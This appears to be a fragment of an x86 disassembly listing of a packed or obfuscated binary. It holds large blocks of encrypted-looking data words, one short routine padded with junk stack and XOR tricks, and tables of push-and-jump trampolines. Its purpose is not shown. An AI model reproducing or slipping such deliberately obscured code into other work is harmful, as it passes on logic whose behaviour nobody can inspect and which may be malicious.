2D1858Bh, 858D05EAh dd 5EDA3DCh, 888B088Bh, 1000h, 8B660A8Bh, 8D89FC4Ah, 5ED74A3h dd 15DDBD83h, 0F0005EAh, 0F84h, 6A6000h, 101595FFh, 0E96105EAh dd 0FFFFFFC4h, 0FC728966h, 6610CEC1h, 52027289h, 895A04CDh dd 0ED749F85h, 0A3B58B05h, 0C105ED74h, 896610CEh, 0B58B0272h dd 5ED74A3h, 0FC728966h, 9F858B61h, 0C305ED74h, 1839958Dh dd 958905EAh, 5EA2B85h, 0C959589h, 85FF05EAh, 5EA0C95h dd 1A4585C6h, 685305EAh, 0FCB148D8h, 1D45B5FFh, 858D05EAh dd 5EA3969h, 8589D0FFh, 5EA1015h, 7071858Dh, 858905EDh dd 5EA2999h, 20EBh, 7 dup(0) dd 92E90000h, 0E9000005h, 586h, 0ED774B68h, 8D8E905h, 0FD68FFFDh dd 0E905ED77h, 0FFFD08CEh, 0ED798968h, 8C4E905h, 468FFFDh dd 0E905ED7Ah, 0FFFD08BAh, 0ADF99ED2h, 297D2057h, 0A9FDA0D3h dd 27731E53h, 0AAFE9DDDh, 81F18D0Ch, 0FA7C86D2h, 85F70D59h dd 0F97C86D2h, 34A60C58h, 43DBAE86h, 0D38D011Dh, 0E07DE93Ah dd 0AD2F1CA1h, 0A6CAA60Ah, 2E8D2EACh, 11A3398Bh, 1756671Bh dd 5355F66Eh, 8FD17D20h, 0C16D0C41h, 8235A7ADh, 67655B21h dd 9DD39756h, 0ED957C6Fh, 0DEAFDCD4h, 35CAEC22h, 74187072h dd 5EE99FD7h, 2C15B40Eh, 4C000000h, 1B11A339h, 6E175667h dd 582F55F6h, 0D5175667h, 15A7F9C4h, 12BB139Ah, 3CDF13EDh dd 0C490FC90h, 2EE5h, 50854B00h, 11A702A1h, 1756671Fh dd 36A69DECh, 29B3ED81h, 60CC6FE7h, 22CF060Ch, 3B41E28Eh dd 12BB13BCh, 7C9970Fh, 0EC802CCFh, 6D4E174Fh, 0BDE34FEEh dd 0EA1DFF73h, 36F3E1D0h, 0AAD0731Fh, 68A9C89Bh, 74F93779h dd 0B82466C5h, 99CD70E3h, 104E2360h, 48E499DEh, 4FD58724h dd 76ACA7A6h, 717BD853h, 86FC5FFEh, 975676B2h, 0CF6CE22Ch dd 0D18F176Ch, 5703F94Bh, 0EE769756h, 6EE7ED4Dh, 1B539DC3h dd 39F0D239h, 7E122778h, 451DBED2h, 0CE906DBCh, 0BBC33B7Ch dd 81F00E92h, 7C107CD0h, 7505CB22h, 976FFBACh, 3570DCBAh dd 71D21428h, 0B2D1A7D1h, 612F916Bh, 891EEAF3h, 5F6EAE23h dd 37000000h, 1C421B6Eh, 0BB126EAEh, 47198112h, 1C46BDAEh dd 2487058Bh, 8435B876h, 0F6A32AD0h, 240FDDC5h, 489931E2h dd 2F1h, 590DB226h, 0DD892CA3h, 5501B427h, 0DB8F2AAFh dd 5602B121h, 0CD0D71F0h, 4E807A2Eh, 0D103F9ADh, 4D807A2Eh dd 0C052F8ACh, 43DE7A72h, 0E841CD1Dh, 2BCB6h, 0EE6DEF00h dd 0A395E34Fh, 17175666h, 175666A1h, 56672415h, 374BA17h dd 60665913h, 432FBA83h, 5A2083EFh, 17570666h, 5705E8D8h dd 6665A17h, 3EF0D757h, 0A19B29B8h, 14575705h, 4643E08Ch dd 86346A33h, 52BBED71h, 2E70DC44h, 62CE6FE0h, 264AEB68h dd 0AC798085h, 31A668F2h, 62552F8Ch, 0D54CCFBAh, 0B7F7CD7Fh dd 0D24A4B7Fh, 54F899D8h, 91675438h, 0A5A80D1Bh, 23FDC0Dh dd 60900000h, 0DE11EBBFh, 62916B3Fh, 0DC1DE7B3h, 5F93693Dh dd 0CF4EE8BCh, 0C49043B7h, 4F1BB83Eh, 0C49047B5h, 4E1AB73Eh dd 0F0C476E4h, 431D43DDh, 0E86D66CFh, 96D91749h, 84274BE7h dd 1DC2D24h, 146EED5Fh, 990112BBh, 11C437CDh, 0A251814Fh dd 30A35901h, 0B17F218Dh, 1B11A340h, 6E1168F2h, 3C399AF6h dd 0FC4E10EDh, 0CCD9F57h, 0A02672EAh, 0B7B7BD0h, 4A22900Ah dd 0BD0B7B7Ch, 76838625h, 0BC43F1AFh, 4F06E029h, 92B32B96h dd 0B6DADA32h, 2AF26E8h, 8829AC56h, 3BDC18D6h, 6A4E3898h dd 0A3058D68h, 38D18F56h, 82F72FF9h, 0F54FAD7h, 3F8DDF7Ch dd 0F251C4h, 3FF1AF37h, 0B54F1BB6h, 633D9140h, 30714BF9h dd 5CC4FFA0h, 0D1721F56h, 0A02FC5ABh, 6A3346FFh, 0DCFD8634h dd 28B0FB04h, 0AD22EC76h, 28ADAB08h, 0AE27DD89h, 0EF8F4642h dd 2F43BBABh, 0C07F8A83h, 2C40EC8Dh, 53AC1E40h, 8FF517C1h dd 0F65B2766h, 18BBA413h, 70E9BA63h, 391291E0h, 0B98FF955h dd 7F3C5ADh, 26D21B49h, 5D107D80h, 1CBF5A93h, 0C45h, 1F111C00h dd 3417567Ch, 7, 7D1F116Dh, 6E4C1756h, 0AE1C421Bh, 12BB142Dh dd 1EBB3EC0h, 8435B8B2h, 44284428h, 0AB98E1E8h, 451B7722h dd 6ADF87ACh, 47885EC6h, 3A563A96h, 9F51CB99h, 611BB85Bh dd 0CCE5E8Eh, 39DC1FE1h, 80D4F995h, 6DA7C975h, 301C2F43h dd 0D4E80F48h, 0B3AD7Ch, 74E40000h, 0EA6D97C3h, 76E51F4Bh dd 0E86993C7h, 73E71D49h, 0B33294C0h, 88DC7FF3h, 0B5FFC72h dd 88DC83F1h, 0A5EFB72h, 0AC8032A0h, 1F1D43DFh, 0F7393A93h dd 7A7FDC7Fh, 9208562Fh, 66C2BA08h, 0AD351756h, 5666E1DBh dd 0F5CF7D17h, 48175666h, 9C3FA7D0h, 14DF7CCEh, 52BB12BBh dd 5F071CBEh, 0F78C2FA0h, 0BFCAC36Fh, 290AB8E6h, 9C0CCEDFh dd 0F64D3704h, 49E1E80Dh, 3898h, 30E76900h, 0A4599E64h dd 14C90AF0h, 9A37BA40h, 15C634CEh, 1C66E741h, 93693DDEh dd 16ECB85Bh, 9F6531E6h, 45EFBB56h, 0E18F65D7h, 6EE21D43h dd 3B6C7h, 8EF0000h, 34EB6DA5h, 0BE5B9298h, 3BDC1812h dd 0BA599D97h, 3DDE1C16h, 0A4579B91h, 22CF0208h, 0A657848Eh dd 2ECF000Ah, 8956E982h, 4C681E6h, 83000000h, 343304EEh dd 24343124h, 5C243433h, 81E68956h, 4C6h, 4EE8100h, 87000000h dd 895C2434h, 8956240Ch, 4C681E6h, 81000000h, 4EEh, 24348700h dd 243C895Ch, 265AD2B9h, 2E9C17Bh, 6E9C141h, 5875BD55h dd 0E58117CFh, 11C43A02h, 0A8ED8145h, 0F74DA36Dh, 7E5C1D5h dd 3087C581h, 0E90145D7h, 0FDF1815Dh, 8130A87Bh, 0B827A3F1h dd 75876800h, 24890000h, 24048124h, 4, 0C889505Fh, 89C18951h dd 5859084Fh, 5F2434FFh, 4C481h, 34FF0000h, 0C4815924h dd 4, 0FD0369E9h, 2F96F9FFh, 0DD03B236h, 1F9A08h, 61B88A2Bh dd 305ED7Ah, 0E9C88BC5h, 51h, 24748B60h, 3C760324h, 28247C8Bh dd 0C281D68Bh, 0F8h, 64E8B66h, 83C9B70Fh, 840F00F9h, 16h dd 0F0C7A3Bh, 158Fh, 28EA8300h, 8B0C428Bh, 0C12B144Ah dd 7C89F82Bh, 0C2611C24h, 0C2830008h, 850F4928h, 0FFFFFFCFh dd 0FFFFE9E9h, 0FD3EBAFFh, 0EB0009h, 5C5E9h, 5B9E900h dd 84680000h, 0E905ED7Ch, 0FFFD02E2h, 0ED7D8968h, 2D8E905h dd 2068FFFDh, 0E905ED7Eh, 0FFFD02CEh, 0ED7F0368h, 2C4E905h dd 0F168FFFDh, 0E905ED7Fh, 0FFFD02BAh, 0ADF99ED2h, 297D2057h dd 0A9FDA0D3h, 27731E53h, 0AAFE9DDDh, 81F18D0Ch, 0FA7C86D2h dd 85F70D59h, 0F97C86D2h, 34A60C58h, 43E1AE86h, 248D011Dh dd 56671F11h, 275BB17h, 3093FF53h, 5667724Ah, 0DD05EC17h dd 0FD78ECFFh, 0E3FBD90h, 6287E92h, 78EADFA5h, 0BE701756h dd 5B379B38h, 78AE82F8h, 2F001756h, 83175679h, 975678ADh dd 5D54C029h, 0A92761FDh, 23FA0F0Ah, 0F2BCCF7Dh, 0D74F92BCh dd 26124789h, 0B30DF2BCh, 9F335FD9h, 777973C1h, 54CC916Ch dd 7C99B38h, 0B27C22D5h, 653D9E3Bh, 9E351CBh, 7C916C77h dd 134147E4h, 0C0C9C06Ch, 3609BBE5h, 898CD254h, 7F382211h dd 64CC680Ah, 406B5h, 0B067E900h, 24D91EE4h, 94498A70h dd 1AB73AC0h, 9546B44Eh, 9CE667C1h, 13E9BD5Eh, 966C38DBh dd 1FE5B166h, 0C56F3BD6h, 0E30FE557h, 0EE621D43h, 49E86D47h dd 275BBE5h, 0B58AF053h, 75175666h, 0D6FB5706h, 49941425h dd 0B33B31B9h, 42FCAC00h, 9FC5E312h, 0AA72E6Dh, 8031A45Eh dd 2AF262Ch, 1C4806AEh, 0E5BB569Fh, 7F7CD7Fh, 76101757h dd 0FA3D5347h, 892AB2C5h, 599365D1h, 71E3340Eh, 0BA000003h dd 0E549E86Dh, 56669C93h, 0DB629217h, 2589E598h, 0A509AC2Fh dd 278B26AFh, 31A3E14Bh, 1732D0Ch, 0D28633BAh, 6458EA78h dd 0D7175666h, 6BE9E34Fh, 804EE0B4h, 503A051h, 848D21D0h dd 512B9982h, 0A4175666h, 0FE04503Ch, 7C76DA77h, 0A30D59FAh dd 0E84BEA6Dh, 56659E92h, 2FEA6C17h, 3559F5A8h, 0ADFCF559h dd 373C8ED0h, 0A312BC4Ah, 4882E14Ah, 62C10E29h, 0B2B28119h dd 46E2210Bh, 3013FEEh, 74E40000h dd 0EA6D97C3h, 76E51F4Bh, 0E86993C7h, 73E71D49h, 0B33294C0h dd 88DC7FF3h, 0B5FFC72h, 88DC83F1h, 0A5EFB72h, 0AC8032A0h dd 1F1D43E3h, 0F7393A93h, 107CD083h, 4D8D4E3Dh, 882BE0C7h dd 6AA478Eh, 8428C90Ch, 31E214DAh, 0D7629492h, 0CA9EF2A5h dd 8B28AA64h, 92E84B27h, 1756FDDEh, 570CE0D0h, 0BA82E17h dd 0D163F9A7h, 1756ECDBh, 6F15B62Eh, 1756ED99h, 5DFF8792h dd 21D41BCCh, 0F7C91B0Ch, 4477C59Bh, 0F712BC55h, 7F665C6Fh dd 369EE220h, 26AE7h, 540B4D00h, 0C075FA00h, 48ED6E94h dd 0C673E61Ch, 49EA6892h, 483ABB1Dh, 0C73D690Ah, 42B8EC8Fh dd 0C3396D12h, 11BBEF8Ah, 0E53B3183h, 28E1D43h, 85F739ABh dd 0B1127ED2h, 3F933EB7h, 0BD11C035h, 3C9043B7h, 0BE12BF36h dd 0F12450EEh, 82E51759h, 66D2AA18h, 0BD251756h, 65D5181Eh dd 853136h, 6B4EA26h, 1756C62Eh, 21751981h, 0E97E395h dd 1E21334h, 114A0000h, 1756671Fh, 9ECA6DEFh, 0EB47F864h dd 0B8F85CB5h, 79789151h, 0FFA0DCDAh, 7A195953h, 0FD9EDCD6h dd 4BB9FB51h, 0A0CC822Ah, 8D67D54Fh, 0E0175758h, 0A0942678h dd 13175757h, 0AE2E288Bh, 1FE95D09h, 6F340F2Ah, 54h, 29CC0FC1h dd 1B6E2F8Ah, 5AE1C42h, 0D112BC4Ch, 8925D81Fh, 0A53D46E5h dd 2097AA96h, 27F65EE2h, 187h, 6135EA6Eh, 0F5A1549Bh, 7D29CC0Fh dd 0F3A75287h, 7E2AC909h, 0B52559D8h, 26A85206h, 99DB2175h dd 548B2E6h, 38AA0054h, 43E5B28Ah, 2089051Dh, 1F1DAF3Dh dd 92175667h, 30ACA60Ah, 0AC21DB8Fh, 31FFA10Dh, 0D1BD11C0h dd 462F7772h, 0CB6CE812h, 7AFF319Fh, 0BC1F73DFh, 0D88633BAh dd 9033E016h, 7B43A30h, 0D96BF953h, 175666E3h, 764EFC56h dd 0C9175667h, 9B913D51h, 8F1A558h, 6213400Bh, 62CEA2CEh dd 1E4AEB68h, 5666A898h, 7EFC3217h, 0BE1D71DDh, 0C9976EBBh dd 0BC54EC7Bh, 5EEC7612h, 116C3566h, 24B41D9h, 178FF457h dd 0AD508749h, 0E1DB69F3h, 54116C34h, 0CD376FCCh, 1947EB8Ah dd 5DF1A4D7h, 68949231h, 0DD111BB7h, 5B98923Eh, 0A1F16BAh dd 39F76D33h, 0C0BA19B8h, 0CD237DFh, 17F9CA52h, 2FE80AABh dd 995687h, 5C9C0000h, 0E215EFBBh, 5E9D6733h, 0E011EBBFh dd 5B9F6531h, 0CB4AECB8h, 0D08437BBh, 0A3F7A42Ah, 30641B59h dd 82D683CAh, 3408BA28h, 871D43E6h, 0E86DA20Bh, 66EFE549h dd 81CF67CBh, 60114453h, 38F88034h, 3D04340Eh, 5D000000h dd 56671E11h, 0B822B817h, 5667320Ah, 6B1D8517h, 17566791h dd 0D0CA3DE4h, 85C47DC1h, 94C4AE9h, 862AC70Eh, 0C508C7EAh dd 0C8CAC693h, 905EF0A4h, 0F6A3D661h, 0BE4399Ah, 0BD000000h dd 56671F11h, 0CB66EF17h, 0DC8C69Fh, 215h, 6D278A00h, 929834EBh dd 1812BE5Bh, 9D973BDCh, 1C16BA59h, 9B913DDEh, 208A457h dd 848E22CFh, 0AA657h, 0E9822ECFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov ecx, 1ED74D9Ah xor ecx, 1ED74D9Eh add ebp, ecx pop ecx sub ebp, 4 xchg ebp, [esp] pop esp push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edi push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esi push ebx push 2F806E10h pop ebx push edi mov edi, 2A6D15AFh xor ebx, edi pop edi mov edi, ebx pop ebx push 4630h mov [esp], esp add dword ptr [esp], 4 pop esi sub esp, 4 mov [esp], ebx mov ebx, edi mov [esi+8], ebx pop ebx mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push dword ptr [esp] pop edi add esp, 4 jmp loc_5488E2 ; --------------------------------------------------------------------------- db 23h dd 0B84B7C7Fh, 5ED80AFh, 0D18BC503h, 0D9E9h, 0BE1D2000h dd 82C12C0Fh, 0B6CFDF2Fh, 5D54FDBEh, 0ECA43636h, 5DD500BCh dd 76D352C5h, 0FC94A4D6h, 0AEC44100h, 77CB50C1h, 0ACAC3252h dd 91B8009Ch, 0CD64F7F6h, 389382h, 3C0000h, 400000h, 940000h dd 50000h, 10000h, 0A280000h, 20000h, 20h dup(0) dd 3B320000h, 3AE9380Fh, 68000020h, 5ED844Ah, 0FCFC3DE9h dd 854768FFh, 33E905EDh, 68FFFCFCh, 5ED8605h, 0FCFC29E9h dd 86D768FFh, 1FE905EDh, 68FFFCFCh, 5ED87E5h, 0FCFC15E9h dd 88A068FFh, 0BE905EDh, 68FFFCFCh, 5ED899Eh, 0FCFC01E9h dd 8A7668FFh, 0F7E905EDh, 68FFFCFBh, 5ED8E48h, 0FCFBEDE9h dd 8EC468FFh, 0E3E905EDh, 68FFFCFBh, 5ED9012h, 0FCFBD9E9h dd 932268FFh, 0CFE905EDh, 68FFFCFBh, 5ED968Bh, 0FCFBC5E9h dd 99C768FFh, 0BBE905EDh, 68FFFCFBh, 5ED9B47h, 0FCFBB1E9h dd 9BDC68FFh, 0A7E905EDh, 68FFFCFBh, 5ED9C3Dh, 0FCFB9DE9h dd 9CA168FFh, 93E905EDh, 68FFFCFBh, 5ED9DA3h, 0FCFB89E9h dd 9EDD68FFh, 7FE905EDh, 68FFFCFBh, 5ED9FF1h, 0FCFB75E9h dd 30E769FFh, 0A4599E64h, 14C90AF0h, 9A37BA40h, 15C634CEh dd 1C66E741h, 93693DDEh, 16ECB85Bh, 9F6531E6h, 45EFBB56h dd 0EA8F65D7h, 6EE21D43h, 49E86DC7h, 2A8FE17h, 8F23D006h dd 6FACCEE3h, 3AD5614Ch, 0AA4CE6BCh, 39F7A909h, 0A2A407B6h dd 23DA8E2Bh, 0E3510FD6h, 12BCE0B4h, 0DB411F87h, 6CBE9369h dd 0DD7EE611h, 0BE350B7Dh, 0CD83116Ch, 4DA54C9Fh, 8538BBDCh dd 81684529h, 0C28A296Dh, 2E251136h, 0CA4F834Dh, 2A86EA87h dd 32EEC674h, 0D941116Dh, 354F16B5h, 16000000h, 1C421B6Eh dd 0BC48B5AEh, 61FB6112h, 6C37D9D3h, 0C2B42C11h, 116C37EAh dd 882BA35Dh, 0A43C47E4h, 388A7E08h, 0B8F6116Ch, 0A77014Ch dd 0CB872E24h, 0DE000000h, 0D285F739h, 53FE7771h, 0D685F5FFh dd 5CFD707Ah, 0C673FAF0h, 63651492h, 0A4291756h, 0F165ABF5h dd 2B0EE42h, 1756632Ah, 0CA69059Dh, 34E56892h, 8132A46Ah dd 7E8B8222h, 8C143DE6h, 8CE07208h, 0D7D760D2h, 0F26A12BBh dd 734A5FA6h, 0FA79B72Dh, 7982F85Bh, 0C0CD019h, 0CA50CA94h dd 7EE78478h, 0CC6FF70Bh, 0BFEB88CAh, 55661545h, 0E80E80F0h dd 777DAC04h, 2700001Dh, 0A05A0EB1h, 20DA8E2Fh, 0AC5602B3h dd 22D88C2Dh, 0F15703B0h, 13C03270h, 9A39BD47h, 17C834CEh dd 8534B943h, 5BE97BD1h, 1D43EB61h, 6DF158D4h, 0F4A528EDh dd 0BF36CC98h, 64D64C12h, 17566790h, 97257BE3h, 1756669Dh dd 732B8810h, 39DC13DDh, 1B6E3F9Ah, 0B5AE1C42h, 4812BC48h dd 360A7CD0h, 82116C38h, 0A355A0CCh, 0D32E240Ah, 0E2h dd 49E86D8Ah, 96B0FE17h, 0B05EDA19h, 4BDD009Dh, 37946D42h dd 0BE5D9D97h, 4F824C12h, 0C1620EA2h, 574606BBh, 0F2458817h dd 1C70DC81h, 97DE2470h, 920856FAh, 57454C20h, 8427BF17h dd 2D9F7881h, 17574557h, 5E32AAh, 7526549Ah, 6C16B5D9h dd 12BD4AE3h, 0B7714F96h, 7D0295D8h, 6DBC4511h, 66E5DBD1h dd 35593BB1h, 2AC3D96Bh, 88760CD1h, 6B07AB4Ch, 63975907h dd 0DC1EE4B0h, 0B671659h, 0D6DDD38h, 1ECF67E8h, 1C7Ah dd 0A5F1A62Ah, 3165185Fh, 81D588CBh, 0F5BF67Bh, 82D685F5h dd 99D9A524h, 2254AEFAh, 9DDF2571h, 2154AEFAh, 1C8E2470h dd 43EBD6AEh, 0CA5291Dh, 1A4EED6Dh, 4CFE6DE0h, 17566778h dd 0D9D361CBh, 2C175666h, 0E0B4D8B4h, 0A354804Eh, 67754FFDh dd 50C81756h, 0E86D56F3h, 66EFE549h, 212C9FCBh, 0FF3CB37Dh dd 0BCB6DA7Dh, 3E3B9839h, 0FE4C12EBh, 12BC7D45h, 0FA9DDF11h dd 0C2303A56h, 37C9B211h, 0D7BB17C2h, 0A9DB61BBh, 22A5EDEEh dd 0E2500ED7h, 5043F349h, 108A43Ch, 0D7AD1FF8h, 2A4EF3C0h dd 3280DEB2h, 4A59BA95h, 20EEB028h, 0A2580CADh, 64BD8E2Bh dd 98AA83DFh, 1BBCE130h, 0E8680000h, 56996337h, 0CA09F3A7h dd 54857F2Bh, 0C70BF1A5h, 67E64014h, 6C38DB1Fh, 0E7B36096h dd 6C38DF1Dh, 0E6B25F96h, 986CDE4Ch, 0EB1D43EDh, 0E86DCE67h dd 9DECE549h, 21509EC0h, 66FCF042h, 0D74F1756h, 0F84A18BBh dd 12BC4407h, 6A04A37Ah, 0A8D4AEFh, 0D6BA16C3h, 3182D6BAh dd 11EC3D20h, 2946FD4Fh, 0C7390CD2h, 0A3528192h, 0C379A3CFh dd 0C512CA6Ah, 0D58B52A7h, 36AFCC67h, 7927BF3Fh, 7D5B51E3h dd 36AE3DE6h, 7CE2DA68h, 0CD553DE6h, 7990CE6Eh, 5D277CACh dd 94478B62h, 9B385438h, 0ECB28B9Eh, 0F0C476h, 0DB433DE7h dd 13D3785h, 28B03DE7h, 0EC6BD98Bh, 9F394CFAh, 5E975907h dd 9AF6A5D5h, 10C134CEh, 90A00423h, 69B810BBh, 1AEAh, 0D58136BAh dd 0A1F5A82Fh, 3165185Bh, 0BFEB86CBh, 32661545h, 0E9691594h dd 72E41E4Ah, 0ED6F95C1h, 71E41E4Ah, 0AC3E94C0h, 43ED261Eh dd 0BC15991Dh, 6908E86Dh, 41F46763h, 2838A26Ch, 0CBA70BACh dd 6E67CBA7h, 0EAC2701Bh, 5D175685h, 45F7A9C5h, 12BC6A5Eh dd 5DDC11F8h, 0C3EE8FC0h, 252FCCC7h, 0DBA003B2h, 77B91743h dd 0B0025CFFh, 116B89BCh, 7B34970Fh, 5E0514C7h, 0DED4781Dh dd 0E488E499h, 68EE20BAh, 591268CBh, 2C0CD1A0h, 16D46EB4h dd 0CC8029E8h, 8B28CD02h, 0FCA27B8Eh, 8A2BA866h, 0CC985329h dd 8C426A3Eh, 6905A94Ah, 8529B1CAh, 20927D8Ch, 68EE9A4Ch dd 10A27BFh, 4936A81Ah, 52E0BED2h, 6454D0B5h, 8A2DAF61h dd 2AAC5229h, 25492589h, 9F08E17Bh, 0EACCA0Fh, 0BC3A3244h dd 738D6304h, 9EF25E01h, 0CD0351F2h, 47BDE988h, 9E3510Eh dd 556304BCh, 4BC0DE7h, 8FF86063h, 33487B17h, 719088ACh dd 19DC08D9h, 48880000h, 0B639C397h, 2AA95307h, 0B425DF8Bh dd 27AB5105h, 7862074h, 0C58FB7Fh, 87D380F6h, 0C58FF7Dh dd 86D27FF6h, 380CBE2Ch, 8B1D43EEh, 0E86DAE07h, 215DAB08h dd 57200DACh, 1FADF31Fh, 1756B825h, 326C0098h, 0B8221AA8h dd 0D951756h, 0F2070EAEh, 0C6090E4Dh, 0BBD7BB17h, 83B89D7h dd 0BB12BC97h, 0FAC47723h, 15F2673h, 0D2A9F8B3h, 8953CB0Ch dd 40E51733h, 0F4D1D8DEh, 18AA30AAh, 0E3FC424h, 0D6AC0F97h dd 9A5D91Dh, 2D248810h, 0C55F01DCh, 0A717ED5Fh, 0F26A0855h dd 0A0AC2B51h, 0C75F03BBh, 89CD0399h, 64F49EAh, 90C53F6Bh dd 0F99FD2E1h, 7DD5F121h, 1921ACh, 0D48BCD00h, 40F57A80h dd 0C86DEE14h, 46F3669Ch, 0C96AE812h, 0C8BA3B9Dh, 47BDE98Ah dd 0C2386C0Fh, 43B9ED92h, 913B6F0Ah, 0EEBBB103h, 820E1D43h dd 2FE86D2Bh, 5359F5A8h, 0B3DF731Eh, 411FB3DFh, 5A94C8Fh dd 0BACFCA69h, 0E927BDE3h, 458BF464h, 92C16A76h, 40275DFEh dd 9A12BC81h, 0D3702154h, 0D76430A8h, 774E5B02h, 84E09B29h dd 4BD30CD2h, 7F142B91h, 909978CAh, 0FB2816F4h, 0E08C364Ah dd 79CD24BEh, 89A8D06Fh, 0F289F350h, 0C5731F3Bh, 8E7DD6Fh dd 0A45A71CFh, 81ED8132h, 7BD036DFh, 163BD81Eh, 993A2B52h dd 1CE93039h, 0E116D842h, 589A903Ch, 0E74D7BBh, 6D34B291h dd 0A98BC30Dh, 12411CDh, 66C5A973h, 41DB851Dh, 0E4CBF9F3h dd 77D44C6Bh, 0B762EB25h, 7B227E9h, 89CDC7ABh, 892A46EAh dd 91A22BD1h, 51E3BD5Ch, 6BE4CC5Bh, 695A36AEh, 87A89C60h dd 231DCC64h, 0F3000018h, 748EDA7Dh, 0FC065203h, 708ADE7Fh dd 0FE045001h, 2D8BDF7Ch, 0F7A4D6ACh, 661559A3h, 0EB8CC832h dd 611045BFh, 0BF0D9F35h, 1D43EFC5h, 6D1DB438h, 0ECE549E8h dd 2C9EC09Dh, 12BBE7C7h, 0E192C43Ah, 0D81DD38Dh, 81EB6D39h dd 8A1168E5h, 0CF6A28Bh, 0C3B69C9h, 0B4350596h, 0E27F4A92h dd 5578143Ah, 4539CB92h, 3F610D09h, 0BD610CD6h, 0F6551BA5h dd 7B4257AEh, 350C9725h, 0CC560CCEh, 7B33867Eh, 0C261F90Bh dd 0CBA113B9h dd 3E0B7B32h, 724AF8A6h, 0C50B7B33h, 0F56F315Dh, 281FA11Ch dd 0FD5E3FB2h, 9FC174FBh, 0D37F1E51h, 85453F8Dh, 20B80B7Ah dd 19B7EF4Ch, 21DA58F0h, 95CBF12Fh, 7ACE4D27h, 9B38A00Bh dd 17BB5A9Dh, 0A39D81Dh, 0E8129A13h, 4B68B911h, 1B000017h dd 8C7622D5h, 4FEAA4Bh, 887226D7h, 6FCA849h, 0D57327D4h dd 0FAC2E54h, 8E2DA15Bh, 3B420DAh, 8928AD57h, 57E577DDh dd 1D43F15Dh, 6EF55CD0h, 0AE1C421Bh, 12BBE745h, 0B07E20B8h dd 31C89C3Dh, 0F54719F4h, 1168E4F3h, 472DE46h, 1168E533h dd 4491C38Dh, 2E20BBB4h, 77C0h, 276E9900h, 0C6A2104Eh dd 39175666h, 9D530DA1h, 1D17BB5Ah, 0FF933FDEh, 764A3093h dd 0C2175667h, 950F608Ch, 56674D27h, 0F89FDD17h, 0D74F3854h dd 0C3584AFAh, 9437C9AFh, 0E5D2CDCh, 365834h, 11010000h dd 1756671Eh, 9C9022B8h, 0EF175666h, 0A19B2977h, 14175665h dd 0DF2A2F8Ch, 4DEA5806h, 2012BC46h, 0A528E6B8h, 973458F4h dd 49FB61CFh, 116C4673h, 58FD5EC6h, 1C421B6Eh, 0BC6071AEh dd 0B01C8412h, 0D28633BAh, 8C6A528h, 685C2ACBh, 0DB116C60h dd 89832F43h, 0C06AA49h, 8B812DCEh, 0AF07AB46h, 4D4273E1h dd 1CD21547h, 0F6EF7FDFh, 30DE986Eh, 74F9FF5Ch, 22559BC5h dd 10B3DF73h, 0A628E648h, 1D5056F5h, 69EC227Ch, 0C2CB6BC8h dd 944588B7h, 18BD3238h, 0F4461874h, 0CD1C487h, 0B27C22BAh dd 261EAC3Bh, 990B81C2h, 0CBC16D01h, 2487EB86h, 0A24F867Ch dd 1DA9780Eh, 0AAA0638Ch, 3FF87D3Ah, 207418BBh, 4D8093DAh dd 0CA0A00ACh, 0B9157915h, 0CD933EB3h, 2690DB24h, 17B40924h dd 2B59E7B7h, 1C48E96Ch, 7B836FE6h, 976F4290h, 5BFA7D77h dd 5BF79BF7h, 207E4752h, 540574BAh, 4D3794F8h, 8EB11522h dd 370DBF15h, 8A8D6103h, 0D02A7E12h, 0A0559A9Dh, 0A00C600Ch dd 13C430FEh, 7670D3BFh, 0F5FF5300h, 707AD685h, 0FDF25EFFh dd 5F5085F7h, 5D902755h, 8B0BE2BCh, 784C2200h, 0D52F77D4h dd 35DF1A0h, 0C7512B99h, 7DA48D60h, 84E6666Bh, 0DB78143Bh dd 40B3CBDEh, 0CEBD4B1Eh, 0D5673955h, 88C67DBEh, 47BDE971h dd 0B9CF630Eh, 77766CC7h, 0F6C53769h, 7C86D27Fh, 0F9F35F00h dd 625AE879h, 0D577766Dh, 258D214Dh, 32A2F96Bh, 0B123D98Dh dd 29A8A20Eh, 0FE4CD688h, 77766D06h, 8B61D379h, 0FE77766Dh dd 0E6540A66h, 77766D0Eh, 0FA5AF961h, 5A8DFFF5h, 0CD5EE3B3h dd 2F43EF8Eh, 27575F02h, 9F528284h, 0DF732251h, 70EFC5B3h dd 0DA427776h, 92FE9FD0h, 10E456CCh, 63777671h, 0FA0058FBh dd 3769C57Ah, 71251FADh, 987776h, 0B516C30Ah, 0C29C69B0h dd 7112EA58h, 0CF657776h, 7671877Dh, 0E62FA77h, 0FF65FFADh dd 7671774Dh, 0F152CA77h, 0DC6A4C8Bh, 4BE77F72h, 6037A51Bh dd 871D43F4h, 8C6A3F35h, 892AB271h, 0C5A22BD1h, 8C6A7D77h dd 0CC0EF071h, 83EF832Fh, 44943EFh, 8B56C614h, 0B5398FB7h dd 0AAC6AA06h, 8CC26AC6h, 67125B60h, 0DD80F739h, 0A79D2F71h dd 1A718D1Ch, 154DEE82h, 530275BBh, 0EED0B8F0h, 393C8E44h dd 65000000h, 1648EF6Dh, 0BCDADDFFh, 883AD640h, 175670B4h dd 50F39F07h, 0D5B0F9F0h, 5A2E398Bh, 588112BCh, 0DAE98160h dd 0C29CF0D4h, 8C2FD00Ch, 48B47AD4h, 29E93497h, 0B0000000h dd 1648EF6Dh, 67463E8Ch, 21B91756h, 0DE2B2282h, 63975907h dd 0F34113B0h, 12BC7B9Ch, 0BDB705AFh, 30116C48h, 0C990C4A8h dd 0D3261524h, 4DE6540Ah, 912BC7Dh, 7E1D5D93h, 0F4C8BED2h dd 47116C4Ch, 0F5A4D5DFh, 0ED963559h, 1F15AF75h, 0ECDDFB58h dd 509EC09Dh, 80D27122h, 1F4B7932h, 40B24C18h, 796ABE93h dd 0F788EF63h, 0EB3E379Bh, 61FE4C12h, 14123510h, 0D91CD28Ch dd 5F966C38h, 899481B2h, 0C860E2A8h, 137919h, 0CB32500h dd 882DA258h, 0B526DCh, 8E2BAE54h, 1B220DAh, 3072F355h dd 0BF4511C2h, 2AD08437h, 5BA1F5AAh, 99336712h, 0F4C3B90Bh dd 0BA361D43h, 11A33913h, 1756671Bh, 0F37FB76Eh, 3E33DE4Eh dd 9B37F52h, 6047A81Ah, 0D9C3B9C3h, 41481756h, 6EA03A64h dd 929834E9h, 7C10BC61h, 0BAC9B310h, 